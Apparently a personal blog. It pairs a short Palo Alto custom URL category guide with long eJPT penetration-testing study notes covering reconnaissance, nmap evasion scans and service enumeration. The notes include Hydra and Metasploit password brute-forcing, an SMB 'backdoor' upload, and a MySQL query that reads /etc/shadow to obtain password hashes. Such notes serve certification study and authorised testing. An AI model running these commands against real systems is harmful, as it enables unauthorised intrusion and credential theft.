Monday, 28 August 2023

create custom URL category on palo alto can be used for wildcard URLs

 If you have FQDN then you can just add FQDN object in the rule


If you want to add a wildcard or multiple URLs in a group then you can create a custom URL category


Objects -> Custom objects -> URL categories - > Add

Add your URLs

*.mail.protection.outlook.com/

smtp.office365.com/


Always end with a / ending token

Blurb from the palo:

For domain entries, we recommend you use an ending token. Acceptable tokens are: . / ? & = ; +. If you choose not to use an ending token, you may block or allow more URLs than anticipated. For example, if you want to allow xyz.com and enter the domain as 'xyz.com,' you will allow xyz.com and URLs such as xyz.com.random.com. However, if you enter the domain as 'xyz.com/,' you will only allow xyz.com.

More info here:

https://docs.paloaltonetworks.com/advanced-url-filtering/administration/configuring-url-filtering/url-category-exceptions



CLI

set profiles custom-url-category URL-CC-OSCP-CRL description "Custom URL category for OSCP"

set profiles custom-url-category URL-CC-OSCP-CRL type "URL List"

set profiles custom-url-category URL-CC-OSCP-CRL list [ crl.globalsign.net www.d-trust.net cdp1.public-trust.com crl.cnnic.cn crl.entrust.net crl.globalsign.com crl.globalsign.net crl.identrust.com crl.thawte.com crl3.digicert.com crl4.digicert.com s1.symcb.com www.d-trust.net isrg.trustid.ocsp.identrust.com ocsp.digicert.com ocsp.entrust.net ocsp.globalsign.com ocsp.omniroot.com ocsp.startssl.com ocsp.thawte.com ocsp2.globalsign.com ocspcnnicroot.cnnic.cn root-c3-ca2-2009.ocsp.d-trust.net root-c3-ca2-ev-2009.ocsp.d-trust.net s2.symcb.com aia.startssl.com apps.identrust.com cacert.omniroot.com ]

Monday, 14 August 2023

CyberSec - eJpt

Information gathering

Collecting info about what we are targeting (company, website/URL/IP, app, servers, people etc)

The scope can be wide or narrow.


People info gathering 

Names and email format is what we usually want for a phishing attack

We can also look at social media, linkedin, facebook, instagram etc


Passive info gathering aka OSINT (open source intelligence)

We don't need permission because its publicly available information

Get as much as we can without actively engaging opensource intel

Publicly available information.

Visit public websites

examples:

  • IP ranges and DNS info
  • Domain names and ownership info
  • Sub domins
  • Email and social media
  • Web tech being used on target sites (IIS, nginx etc)


Penetration testing method

Passive info gathering (OSINT, DNS IP recon, social media, google)

Active info gathering (network/app/port scanning, calling up asking for info)

Enumeration (service/user/share enumeration)

Vulnerability scanning

Exploitation (use existing, modify or develop exploit)

Post exploitation 

  • Local enumeration from the inside
  • Privilege escalation
  • Credential access 
  • Persistence 
  • Défense evasion
  • Lateral movement

Reporting (writing of report / recommendation on remediation) 


Active info gathering

We need permission

Scanning IP ranges

Scanning IP's for open ports (nmap/nessus)

Ports can tell us about services and we can look for vulns

Discovering open ports

examples:

  • nmap scan to discover open ports
  • Nessus scan to discover vulnerabilities
  • Enumerating info from target systems

Website recon and foot printing
IP addresses
Directories hidden from search engines


Host command (in kali)
host website.com
website.com has address 10.10.10.10



website.com has IPv6 address 2axx:4xx:1xx:4xxx::2
website.com mail is handled by 5 esa.website.com.
website.com mail is handled by 10 esa2.website.com.
website.com mail is handled by 15 esa3.website.com.

Often we might see a website hosted by a proxy like cloudflare

Robots.txt
Robots.txt is read by search engines and we can tell them directories not to crawl.

Browse to www.website.com/robots.txt

User-agent: *
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-admin/

Sitemap: https://www.website.ie/sitemap.xml
Sitemap: https://www.website.ie/sitemap.rss

We can see they disallow /wp-admin/ that wp-admin folder tells us its a word press site.

Sitemap.xml
Sitemap is again for search engines to index the site.

Firefox plugin BuiltWith
This plugin will give whats running on this site
Will see widgets and plugins

Whatweb (kali)
whatweb website.ie

Download the full website with HTTrack
HTTrack (windows and linux) to look at the source code offline. 

Whois (kali also many websites) - looking up registration details of websites
Main info to gather from the whois output:
What registrar the domain was registered with
Updated Date: When the domain was renewed
Created Date: When it was created 
Registry expiry: (when the domain will expire)
Name server: can point to a proxy like cloud flare
DNSSEC: we might see the owner of the domain unless DNSSEC is enabled

whois zonetransfer.me

https://who.is  (useful website for running who.is)

whois x.x.x.x (where x.x.x.x is public IP)

Website footprinting with netcraft
netcraft.com is a web tool with gather lots of the passive recon information for us in one location

DNS recon
dnsrecon -d domain.com

dnsdumpster.com - free website which organises the same information nicely

We can see name servers, SRV, TXT, mx records and subdomains

WAF with WAFW00f (kali)
WAF is a web application firewall
WAFw00f is WAF fingerprinting tool
wafwoof https://zonetransfer.me

Subdomain enumeration with sublist3r (kali)
Sublister checks the search engines to see if a subdomain was indexed at some stage

subliust3r -d domain.com -e google,yahoo
subliust3r -d domain.com (this will search with all search engines)

Keep in mind results won't be 100% but very useful.
It will make lots of requests to the engines so you may need a VPN to change connection to get it to work.

Google Dorks aka google hacking
site:domain.com
site:domain.com inrul admin (look for an admin panel)
site:domain.com inrul forum (look for a forum)
site:*.domain.com (show all the subdomains)
Sometimes subdomains are publicly available that shouldn't be

site:*.domain.com intitle admin (look for admin page)

site:*.domain.com filetype:pdf (look for pdf files)

site:*.domain.com employees
site:*.domain.com team

intitle: index of

Looking for older versions of the website for information like names, email addresses etc.
cache: domain.com 
Thewaybackmachine.com

Looking for leaked usernames and passwords
inurl:auth_user_file.txt
inurl:passwd.txt

Google hacking database (https://www.exploit-db.com/google-hacking-database)
look up google dorks for wordpress for example

email harvesting with theHarvester (kali)
Searches on search engines and sites like linkedin and several other websites

Spyse - paid site worth considering


Leaked password databases
When we find emails addresses, check if their data has been leaked at some stage
Quick way to check if an email you found is in a data breach
https://haveibeenpwned.com/

DNS zone transfers
DNS servers is like a phone directory a list of URLs to IP addresses
Cloud flare: 1.1.1.1
Google: 8.8.8.8

DNS record types
A - Resolves hostname to IPv4 address
AAAA - Resolves hostname to IPv6 addreess
NS - The domains name server
MX - Where the email server is
CNAME - Aliases 
TXT - text info often used to auth ownership of a domain
HINFO - host information
SOA - Domain auth
SRV - Service rexords
PTR - resolves IP to hostname

DNS Interrogation
Probe the DNS server for more info

DNS zone transfer
Admins may want to copy or transfer zone files from one DNS server to another. The process is known as a zone transfer.

If left misconfigured we can attempt a zone transfer from the primary DNS server to another server
A DNS zone transfer can provide pentesters with a holistic view of an organizations network layout.
Internal network addresses may be found on the orgs DNS servers

dnsrecon -d zonetransfer.ie

Active action:
dnsenum zonetransfer.ie

Zone transfer with dig
dig axfr [name-server] [domian]
dig axfr @ns2cm1.digi.ninja zonetransfer.me

Brute force domains with fierce
fierce -dns zonetransfer.me

Network mapping
  • IP range / subnets (so we scan scan)
  • How many hosts (we can see how many are up and max possible)
  • What client/server OS are they running
  • What network devices do they have, what vendor/SW versions running
  • Can we find a DMZ ?
  • Find what ports are open

Host discovery with nmap
 -sn 
ping sweep but may be blocked by firewalls
follow with
-Pn

--send-ip overrides arp (don't use arp, use icmp etc)

The idea is to gather IP's with a ping sweep, then run port scans on the IPs we see are up.

Some hosts won't respond to ping or it will be blocked by a hardward or software firewall. For this resaon we need to try a few methods and put it all together:

  • Ping (icmp echo)
  • TCP SYN (half open scan or stealth scan in namp)
  • ARP
  • TCP ACK (send an ACK to a server to see if we get a TCP RST back then we know its up)
  • TCP SYN-ACK (similar to above)
  • UDP (longer shot / specific use cases often UDP won't respond)
ICMP 
Echo request
type: 8
code: 0

Echo reply
Type: 0 
code: 0 

8=request
0=reply

Netdiscover
namp uses ping/icmp and netdiscover uses arp

sudo netdiscover -i eth0 -r 192.168.3.0/24

Port scanning with nmap
-Pn (don't use ping for host detection, just do the port scan on common 1000 ports)
nmap -Pn x.x.x.x

nmap -Pn -p- x.x.x.x (scan all ports will take a long time, can add -T4 to speed up)
nmap -Pn -p- x.x.x.x -T4

nmap -Pn -p 80 x.x.x.x (scan port 80)

nmap -Pn -p1-10  x.x.x.x (scan a range)

nmap -Pn -F x.x.x.x (fast scan of commonly used ports)

nmap -Pn -sU x.x.x.x (use UDP)

Scan a range 
nmap -sn 192.168.1.0/24 --send-ip

Scan multiple targets
nmap -sn 192.168.1.30 192.168.1.40

Scan .30 to .40
nmap -sn 192.168.1.30-40

Scan a list of IPs from a file
Gather you list of inscope IP's in a file called targets.txt
nmap -sn -iL targets.txt

Real world scan
nmap -sn -v -T4 192.168.1.10

-sn ping scan
-v verbose
-T4 timing templacte to increase speed

Adding on the syn scan and udp scan
nmap -sn -v -PS21,22,25,80,3389,445,8080,8443 -PU137,138,139 -T4 192.168.1.10


filtered generally means a firewall blocked us
closed means the port not listening 

Find IPs
Scan for open ports
Look for services
Look for service versions
Look for vulnerabilities 

service version detection
nmap -Pn -F -sV x.x.x.x (service version detection, takes longer)

-O OS detection (upper case O)
nmap -Pn -F -sV -O x.x.x.x -v

-sC (script scan to get more info)

We may need to speed up/slow down scans to avoid detection. We can use -T. Lower value is slower, higher value is faster (more chance to be detected by IPS etc).

-T 
0 paranoid
1 sneaky
2 polite
3 normal
4 aggressive
5 insane 

We can output nmap to files 
-oN scan.txt
-oX scan.xml (can be imported into Metasploit later, can also nmap from inside Metasploit) 

nmap -sV -Pn -oX myscan.xml t.t.t.t

Assessment Methods: footprinting + scanning

Mapping a network
define the scope
what is the most useful use of your time
physical access
VPN S2S,  or dial in
Or totally no help you must gain physical or digital access

Get on the network (physical or remote access)
sniffing 
Passive recon, watch the network, learn

ARP - resolves IP to MAC address, can arp the full subnet to learn about the network
ICMP (ping and traceroute) 
type 8 is echo request (ping) we can ping the subnet to see what responds.

Nework Tools
Wireshark
ArpScan
ping
Fping
nmap and zenmap

Arpscan CLI
Sudo arp-sscan -i eht0 -g 192.168.3.0/24

Fping CLI
fping -i eth0 -g 192.168.3.0/24 -a 2> /dev/null

This prints only the alive hosts on the screen

Good idea to arp and ping the subnet.

Nmap CLI
nmap -Pn 192.168.3.0/24
nmap -sn 192.168.3.0/24
nmap also sends a TCP SYN

Wireshark
Run a capture
Run all your scans
Check hosts

Zenmap is gui version of nmap


Nmap OS and service detection
We can find OS and service versions with NMAP, below is how it works

Standard TCP 3WHS
open port
SYN >
SYN--ACK <
ACL >
RST+ACK >

closed port
SYN >
RST+ACK <

Stealth scan
SYN>
SYN+ACK
RST >

In the stealth scan we close the 3WHS as soon as we get the SYN+ACK back we know the port is open and a server responding.

Service detection
SYN >
SYN+ACK <
ACK >
BANNER <   (service info here eg openssh v1.0)
RST+ACK >

In service detection we read data provided by the server.

NMAP basic switches 
nmap -H (help, lots of options here)

-sV Service detection
-sC Scripts default
-A aggressive mode (loud) does all the scans
-O OS detection
-exclude (exclude certain hosts from scanning)
-A will does OS detect, version detect, Script Scan and traceroute

Scan targets from a file
nmap -iL ip-list.txt

Scan skip port scan and just send syn packet (faster). Just sends TCP SYN to port 80.
nmap -sn -PS 10.4.23.227

Other scan tools 
Masscan - Fast scanner for big networks
Rutscan - low level language so fast
AutoRecon - keeps scanning / doing recon

Nmap Scan Techniques

SWITCHEXAMPLEDESCRIPTION
-sSnmap 192.168.1.1 -sSTCP SYN port scan (Default)
-sTnmap 192.168.1.1 -sTTCP connect port scan (Default without root privilege)
-sUnmap 192.168.1.1 -sUUDP port scan
-sAnmap 192.168.1.1 -sATCP ACK port scan
-sWnmap 192.168.1.1 -sWTCP Window port scan
-sMnmap 192.168.1.1 -sMTCP Maimon port scan


Host Discovery

SWITCHEXAMPLEDESCRIPTION
-sLnmap 192.168.1.1-3 -sLNo Scan. List targets only
-snnmap 192.168.1.1/24 -snDisable port scanning. Host discovery only.
-Pnnmap 192.168.1.1-5 -PnDisable host discovery. Port scan only.
-PSnmap 192.168.1.1-5 -PS22-25,80TCP SYN discovery on port x.
Port 80 by default
-PAnmap 192.168.1.1-5 -PA22-25,80TCP ACK discovery on port x.
Port 80 by default
-PUnmap 192.168.1.1-5 -PU53UDP discovery on port x.
Port 40125 by default
-PRnmap 192.168.1.1-1/24 -PRARP discovery on local network
-nnmap 192.168.1.1 -nNever do DNS resolution


Port Specification

SWITCHEXAMPLEDESCRIPTION
-pnmap 192.168.1.1 -p 21Port scan for port x
-pnmap 192.168.1.1 -p 21-100Port range
-pnmap 192.168.1.1 -p U:53,T:21-25,80Port scan multiple TCP and UDP ports
-pnmap 192.168.1.1 -p-Port scan all ports
-pnmap 192.168.1.1 -p http,httpsPort scan from service name
-Fnmap 192.168.1.1 -FFast port scan (100 ports)
-top-portsnmap 192.168.1.1 -top-ports 2000Port scan the top x ports
-p-65535nmap 192.168.1.1 -p-65535Leaving off initial port in range makes the scan start at port 1
-p0-nmap 192.168.1.1 -p0-Leaving off end port in range
makes the scan go through to port 65535

Service and Version Detection

SWITCHEXAMPLEDESCRIPTION
-sVnmap 192.168.1.1 -sVAttempts to determine the version of the service running on port
-sV -version-intensitynmap 192.168.1.1 -sV -version-intensity 8Intensity level 0 to 9. Higher number increases possibility of correctness
-sV -version-lightnmap 192.168.1.1 -sV -version-lightEnable light mode. Lower possibility of correctness. Faster
-sV -version-allnmap 192.168.1.1 -sV -version-allEnable intensity level 9. Higher possibility of correctness. Slower
-Anmap 192.168.1.1 -AEnables OS detection, version detection, script scanning, and traceroute

OS Detection

SWITCHEXAMPLEDESCRIPTION
-Onmap 192.168.1.1 -ORemote OS detection using TCP/IP stack fingerprinting
-O -osscan-limitnmap 192.168.1.1 -O -osscan-limitIf at least one open and one closed TCP port are not found it will not try OS detection against host
-O -osscan-guessnmap 192.168.1.1 -O -osscan-guessMakes Nmap guess more aggressively
-O -max-os-triesnmap 192.168.1.1 -O -max-os-tries 1Set the maximum number x of OS detection tries against a target
-Anmap 192.168.1.1 -AEnables OS detection, version detection, script scanning, and traceroute

Timing and Performance

SWITCHEXAMPLEDESCRIPTION
-T0nmap 192.168.1.1 -T0Paranoid (0) Intrusion Detection System evasion
-T1nmap 192.168.1.1 -T1Sneaky (1) Intrusion Detection System evasion
-T2nmap 192.168.1.1 -T2Polite (2) slows down the scan to use less bandwidth and use less target machine resources
-T3nmap 192.168.1.1 -T3Normal (3) which is default speed
-T4nmap 192.168.1.1 -T4Aggressive (4) speeds scans; assumes you are on a reasonably fast and reliable network
-T5nmap 192.168.1.1 -T5Insane (5) speeds scan; assumes you are on an extraordinarily fast network

Timing and Performance Switches

SWITCHEXAMPLE INPUTDESCRIPTION
-host-timeout <time>1s; 4m; 2hGive up on target after this long
-min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>1s; 4m; 2hSpecifies probe round trip time
-min-hostgroup/max-hostgroup <size<size>50; 1024Parallel host scan group sizes
-min-parallelism/max-parallelism <numprobes>10; 1Probe parallelization
-max-retries <tries>3Specify the maximum number of port scan probe retransmissions
-min-rate <number>100Send packets no slower than <number> per second
-max-rate <number>100Send packets no faster than <number> per second

NSE Scripts

SWITCHEXAMPLEDESCRIPTION
-sCnmap 192.168.1.1 -sCScan with default NSE scripts. Considered useful for discovery and safe
-script defaultnmap 192.168.1.1 -script defaultScan with default NSE scripts. Considered useful for discovery and safe
-scriptnmap 192.168.1.1 -script=bannerScan with a single script. Example banner
-scriptnmap 192.168.1.1 -script=http*Scan with a wildcard. Example http
-scriptnmap 192.168.1.1 -script=http,bannerScan with two scripts. Example http and banner
-scriptnmap 192.168.1.1 -script "not intrusive"Scan default, but remove intrusive scripts
-script-argsnmap -script snmp-sysdescr -script-args snmpcommunity=admin 192.168.1.1NSE script with arguments

Useful NSE Script Examples

COMMANDDESCRIPTION
nmap -Pn -script=http-sitemap-generator scanme.nmap.orghttp site map generator
nmap -n -Pn -p 80 -open -sV -vvv -script banner,http-title -iR 1000Fast search for random web servers
nmap -Pn -script=dns-brute domain.comBrute forces DNS hostnames guessing subdomains
nmap -n -Pn -vv -O -sV -script smb-enum*,smb-ls,smb-mbenum,smb-os-discovery,smb-s*,smb-vuln*,smbv2* -vv 192.168.1.1Safe SMB scripts to run
nmap -script whois* domain.comWhois query
nmap -p80 -script http-unsafe-output-escaping scanme.nmap.orgDetect cross site scripting vulnerabilities
nmap -p80 -script http-sql-injection scanme.nmap.orgCheck for SQL injections

Firewall / IDS Evasion and Spoofing

SWITCHEXAMPLEDESCRIPTION
-fnmap 192.168.1.1 -fRequested scan (including ping scans) use tiny fragmented IP packets. Harder for packet filters
-mtunmap 192.168.1.1 -mtu 32Set your own offset size
-Dnmap -D 192.168.1.101,192.168.1.102,192.168.1.103,192.168.1.23 192.168.1.1Send scans from spoofed IPs
-Dnmap -D decoy-ip1,decoy-ip2,your-own-ip,decoy-ip3,decoy-ip4 remote-host-ipAbove example explained
-Snmap -S www.microsoft.com www.facebook.comScan Facebook from Microsoft (-e eth0 -Pn may be required)
-gnmap -g 53 192.168.1.1Use given source port number
-proxiesnmap -proxies http://192.168.1.1:8080, http://192.168.1.2:8080 192.168.1.1Relay connections through HTTP/SOCKS4 proxies
-data-lengthnmap -data-length 200 192.168.1.1Appends random data to sent packets

Output

SWITCHEXAMPLEDESCRIPTION
-oNnmap 192.168.1.1 -oN normal.fileNormal output to the file normal.file
-oXnmap 192.168.1.1 -oX xml.fileXML output to the file xml.file
-oGnmap 192.168.1.1 -oG grep.fileGrepable output to the file grep.file
-oAnmap 192.168.1.1 -oA resultsOutput in the three major formats at once
-oG -nmap 192.168.1.1 -oG -Grepable output to screen. -oN -, -oX - also usable
-append-outputnmap 192.168.1.1 -oN file.file -append-outputAppend a scan to a previous scan file
-vnmap 192.168.1.1 -vIncrease the verbosity level (use -vv or more for greater effect)
-dnmap 192.168.1.1 -dIncrease debugging level (use -dd or more for greater effect)
-reasonnmap 192.168.1.1 -reasonDisplay the reason a port is in a particular state, same output as -vv
-opennmap 192.168.1.1 -openOnly show open (or possibly open) ports
-packet-tracenmap 192.168.1.1 -T4 -packet-traceShow all packets sent and received
-iflistnmap -iflistShows the host interfaces and routes
-resumenmap -resume results.fileResume a scan

Helpful Nmap Output examples

COMMANDDESCRIPTION
nmap -p80 -sV -oG - -open 192.168.1.1/24 | grep openScan for web servers and grep to show which IPs are running web servers
nmap -iR 10 -n -oX out.xml | grep "Nmap" | cut -d " " -f5 > live-hosts.txtGenerate a list of the IPs of live hosts
nmap -iR 10 -n -oX out2.xml | grep "Nmap" | cut -d " " -f5 >> live-hosts.txtAppend IP to the list of live hosts
ndiff scanl.xml scan2.xmlCompare output from nmap using the ndif
xsltproc nmap.xml -o nmap.htmlConvert nmap xml files to html files
grep " open " results.nmap | sed -r ‘s/ +/ /g’ | sort | uniq -c | sort -rn | lessReverse sorted list of how often ports turn up

Miscellaneous Nmap Flags

SWITCHEXAMPLEDESCRIPTION
-6nmap -6 2607:f0d0:1002:51::4Enable IPv6 scanning
-hnmap -hnmap help screen

Other Useful Nmap Commands

COMMANDDESCRIPTION
nmap -iR 10 -PS22-25,80,113,1050,35000 -v -snDiscovery only on ports x, no port scan
nmap 192.168.1.1-1/24 -PR -sn -vvArp discovery only on local network, no port scan
nmap -iR 10 -sn -tracerouteTraceroute to random targets, no port scan
nmap 192.168.1.1-50 -sL -dns-server 192.168.1.1Query the Internal DNS for hosts, list targets only
nmap 192.168.1.1 --packet-traceShow the details of the packets that are sent and received during a scan and capture the traffic.

Only show opens ports in the outpu

nmap -p 22 --open 192.168.1.0/24


Enumeration (learn more)

Before any attack we just look around. Maybe there is misconfig or default passwords.

SMB - Server Message Block (windows file shares)
Runs on port 445
nmap -sV -sC 192.168.3.10 will find SMB details

Can map drive in windows with "net use"
net use Z: \\192.168.3.10\c$ smbpw /user:admin

Nmap scripts location:
/usr/share/nnamp/scripts

ls /usr/share/nmap/scripts/ | grep smb
ls /usr/share/nmap/scripts/ | grep http

Nmap scan be used to enumerate SMB

nmap -p 445 --script smb-protocols x.x.x.x 

SMBv1 is dangerous and default usernames/passwords are bad. Often we see companies have SMBv1 enabled.

nmap -p 445 --script smb-security-mode x.x.x.x 
 

see when a user logged in
nmap -p 445 --script smb-enum-sessions  x.x.x.x

IPC$ null session anonymous
nmap -p 445 --script smb-enum-shares x.x.x.x 


Location of nmap scripts
/usr/share/nmap/scripts

Ways to find sciprt args
Read the script file
more http-enum.nse
Go to @usage section

cat the script file and grep for args
cat /usr/share/nmap/scripts/http-enum.nse | grep args

grep for usage and args
grep -iR -A5 "@usage" /usr/share/nmap/scripts/http-enum.nse  
grep -iR -A5 "@args" /usr/share/nmap/scripts/http-enum.nse 

Enum shares with a username and password
nmap -p445 --script smb-enum-shares --script-args smbusername=administrator,smbpassword=secret x.x.x.x
print$ for sharing printers
Sometimes important doc's are left on print$

look for default and guest accounts and try the default passwords
nmap -p 445 --script smb-enum-users x.x.x.x  


nmap -p 445 --script smb-enum-domains x.x.x.x  
nmap -p 445 --script smb-enum-groups x.x.x.x   




smbmap -u guest -p "" -H x.x.x.x

We expect guest account to be read only on IPC$ and print$ and NO access on anything else

With an account with rights

-x 'ipconfig'
--upload /backdodr.txt C:\backdoor.txt
--download 'c$:\loot.txt'





Other linux tools for SMB
nmap x.x.x.x -sV -p 139,445


Metasploit
msfconsole

Set a variable in metasploit
This way we don't have to keep typing in the target IP
workspace -a TEST
setg RHOSTS t.t.t.t
setg RHOST t.t.t.t


search smb
search smb_enum

use auxiliary/scanner/smb/smb_version
show options
set Rhosts x.x.x.x
run 
exit

use auxiliary/scanner/smb/smb2
show options
set Rhosts x.x.x.x

Other useful SMB modules
smb_enumusers
smb_enumshares
smb_login

Find the NetBIOS computer name from an IP
nmblookup -A x.x.x.x

Uses netbios <20> means we can connect

Check if we can list shares without a username and password

smbclient -L x.x.x.x -N

rpcclient -U ''" -N x.x.x.x

enum4linux -o x.x.x.x

List shares (enum4linux)
enum4linux -S x.x.x.x

List groups (enum4linux)
enum4linux -G x.x.x.x

rpcclient commands
rpcclient -U ''" -N x.x.x.x
enumdomusers

Connect to a share with SMB client 
smbclient //x.x.x.x/sharename -N
ls
cd secret
more flag.txt

Get OS ver
srvinfo

Get info on username admin
lookupnames admin

Enumeration is all about finding information to use again later, for example we can find out who has access to a certain folder and then target that user.

Connecting with word lists when we don't have passwords
use auxiliary/scanner/smb/smb_login
info
show options
set Rhosts x.x.x.x
set pass_file /user/share/wordlist.txt
set smbuser bob
run 

Hydra  brute force
Unzip the password file
gzip -d /usr/share/rockyou.txt.gz
hydra -l admin -P /rockyou.txt x.x.x.x smb

Watch out for lower case "p" and uppercase "P"
hydra -p SinglePassword
hydra -P /usr/share/passwordfile.txt

smbmap -H x.x.x.x -u admin -p Password01

Connect to admin share when you have the password and download a file
smbclient //192.212.251.3/admin -U admin
ls 
cd hidden
ls 
download a file
get flag.tar.gz 
exit 
extract
tar -xf flag.tar.gz 
cat flag

Other services and pipes
Lots of other services use SMB and they connect via "pipes"
IF we know what to look for we can get info from the other services 

use auxiliary/scanner/smb/pipe_auditor
info
show options
set Rhosts x.x.x.x
set smbuser bob
set smbpassword
options
run 

Named pipes returned 
\netlogon
\lsarpc
\samr
\eventlog
\initshutdown
\ntsvcs
\srvsvc
\wkssvc

Maybe we can use this info later

FTP (TCP port 21)

nmap -p 21 -sV -O 192.168.1.100

ftp in cmd prompt
ftp 192.168.1.100
Try nothing for username and password (anon login)

Hydra
hydra -l /usr/share/metasploit-framework/data/monlists/unix_passwords.txt 192.168.1.100 ftp

nmap 192.168.1.100 --script ftp-brute --script-args userdb=/root/users -p 21

The file in /root called users contains a usersname list

Check a list of usernames and passwords
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt 192.168.1.100 -t 4 ftp

Enumerate FTP with metasploit

service postgresql start
msfconsole
search ftp
auxiliary/scanner/ftp/ftp_version
info
set RHOSTS t.t.t.t
run

Now we know the versions we can search for exploits
search ProFTPD

Try anonymous login
search type:auxiliary name:ftp
use auxiliary/scanner/ftp/anonymous
info
set RHOST t.t.t.t
run

Brute force
search type:auxiliary name:ftp
use auxiliary/scanner/ftp/ftp_login
info
set RHOST t.t.t.t
set USER_FILE /usr/share/metasplot-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasplot-framework/data/wordlists/unix_passwords.txt
run

FTP login and download of file.
ftp t.t.t.t
sysadmin
password
get secret.txt
exit
ls
cat secret.txt



Hydra lower and uppercase "l" and "L" and "p" and "P"
  -l username or -L USER-LIST  
  -p singlepassword  or -P PW-LIST

FTP anon login with nmap
nmap 192.168.1.100 -p 21 --script ftp-anon 
username ananymouse
password: (blank)

SSH (TCP 22) enumeration

Search for auxiliary modules in metasploit
search type:auxiliary name:ssh

auxiliary/scanner/ssh_version 
auxiliary/scanner/ssh_login
auxiliary/scanner/ssh_enumusers

Nmap
nmap 192.168.1.100 -sV -O 
You may see SSH ver and hosting server ver

Check pre login banner
ssh root@192.168.1.100

Netcat
nc 192.168.1.100 22

You may get a banner/welcome message 

Check auth methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=student" 192.201.39.3

Check algo's
nmap 192.168.1.100 -p 22 --script ssh2-enum-algos
some other scripts

nmap --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100

--script ssh-auth-methods --script-args="ssh.user=student" 
(can try username admin, root, etc)

SSH brute force

Unzip the rockyou pw list
gzip -d /usr/share/wordlists/rockyou.txt.gz

Run hydra
hydra -l student -p /root/rockyou.txt

Hydra may return a password found in the list

echo "administrator" > user

nmap 192.168.1.100 -p 22 --script ssh-brute --script-args userdb=/.../user

Run a command with nmap script ssh-run
nmap -p 22 --script=ssh-run --script-args="ssh-run.cmd=cat /home/student/FLAG,ssh-run.username=student,ssh-run.password=" 192.168.1.100

msfconsole
msfconsole 
use auxiliary/scanner/ssh/ssh_login
show options 
set rhosts 192.168.1.100
set userpass_file /usr/share/.../root_userpass.txt
set STOP_ON_SUCCESS true
set verbose true
options (to show all options)
run

ssh root@192.168.1.100
ls
whoami

HTTP (web server enumeration)
Lets say the scan returns port 443 we know https is running

Can check for a site in the web browser

nmap 192.168.1.100 -sV -O
MS IIS 10.0
MS RPC
MS Netbios

whatweb 192.168.1.100

http-py sends https request and returns header and other info in the output

browsh --script-url http://192.168.1.100/home.aspx

You can enum a lot of stuff from web servers with dirb
dirb http://192.168.1.100

dirb will run for a long time check for any directories with access 

Enumerate http with nmap 
nmap 192.168.1.100 -sV -p 80 --script http-enum 
nmap 192.168.1.100 -sV -p 80 --script http-headers

Find http methods for webdav
nmap --script http-methods --script-args http-methods.url-path=/webdav/ 192.168.100.1

Msfconsole (metasploit)
use /auxiliary/scanne/http/http_version
set rhosts 192.168.1.1000
options 
set RPORT 80 or 443
set SSL true (if using 443)
run

Other modules
use /auxiliary/scanne/http/http_header
info
set RHOSTS t.t.t.t
run

Will give some info like HTML and web server/version running.


curl
curl 192.168.1.100 | more
curl http://192.168.1.100/cgi-bin | more


Text based browsers
browsh and lynx are very similar text based browsers

Brute force directories 

directory_scanner
Looks for directories
use /auxiliary/scanner/http/dir_scanner
info
set RHOSTS t.t.t.t
run

We can do the same thing to look for files
use /auxiliary/scanner/http/files_dir
info 
set DICTIONARY wmap_files.txt
set RHOSTS t.t.t.t
set PATH /
run

We may find some interesting files.

HTTP login
use /auxiliary/scanner/http/http_login
info 
set USER_FILE namelist.txt
set PASS_FILE unix_passwords.txt
set VERBOSE false
run


msfconsole 
use auxiliary/http/brute_dirs 
show options 
set rhosts 192.168.1.100 
options
exploit

will look for directories 

Robots.txt (may include directories that developers don't want crawled)
msfconsole 
use auxiliary/scanner/http/robots.txt
set rhosts 192.168.1.100 
options
run

We may see some output, those folders look interesting
Disallow:/data
Disallow:/secure

curl http://t.t.t.t/data/
curl http://t.t.t.t/secure/

MySQL enumeration
Say our nmap scan returned TCP 3306 
mssql port is 1433

nmap 192.168.1.100 -sV -p 3306 

Can be configured to run on other ports.

Connect to remote MySQL server
mysql -h 192.168.1.100 -u root
show databases;
use books;
select count(*) from authors;
select * from authors;
help
mysql commands end with ;

Setup Metasploit workspace
service postgresql start 
msfconsole 
workspace -a MYSQLENUM
set RHOST t.t.t.t
set RHOSTS t.t.t.t

Search for aux modules relating to mysql
search type:auxiliary name:mysql
use auxiliary/scanner/mysql/mysql_version
info
run

Brute force with metasploit
use auxiliary/scanner/mysql/mysql_login
options
set USERNAME root
set PASS_FILE /usr/share /metasploit-framework/data/wordlists/unit_passwords.txt
run

Check for writable directories
msfconsole 
use auxiliary/scanner/mysql/mysql_writetable_dirs
show options 
set rhosts 192.168.1.100 
set dir_list /usr/share/...dirs.txt
set verbose false
set password ""
options
run

Once we have username and password we can run this to enum lots of information
use auxiliary/scanner/mysql/mysql_enum

Run mysql queries from metasploit
use auxiliary/scanner/mysql/mysql_sql
info
set USERNAME root
set PASSWORD secret
set SQL show databases;
run

schemadump will give you lots of details about databases and tables
use auxiliary/scanner/mysql/mysql_schemadump
set USERNAME root
set PASSWORD secret
run

Metasploit workspace commands
hosts - shows all the IP's we found online
services - shows all the open ports we found
loot - shows the schema we were able to get
creds - shows password hashes we got


File enum 
use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS 192.168.100.1
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
set PASSWORD ""
exploit

Get password hash
mysql -h 192.168.100.1 -u root
select load_file("/etc/shadow");

The hash is between $ and :


Get hashes for users
msfconsole 
use auxiliary/scanner/mysql/mysql_hashdump
options
exploit

nmap check for empty password
nmap --script=mysql-empty-password

Check capabilities
nmap --script=mysql-info -p 3306 192.168.100.1

Enumerate users
nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.100.1

List all databases
nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.100.1

List all directories
nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.100.1


Find the datadir
nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 3306 192.168.100.1 | grep datadir

Check if file privileges can be granted to non admin users, use mysql-audit script. See 5.8
nmap --script=mysql-audit --script-args "mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" -p 3306 192.168.100.1


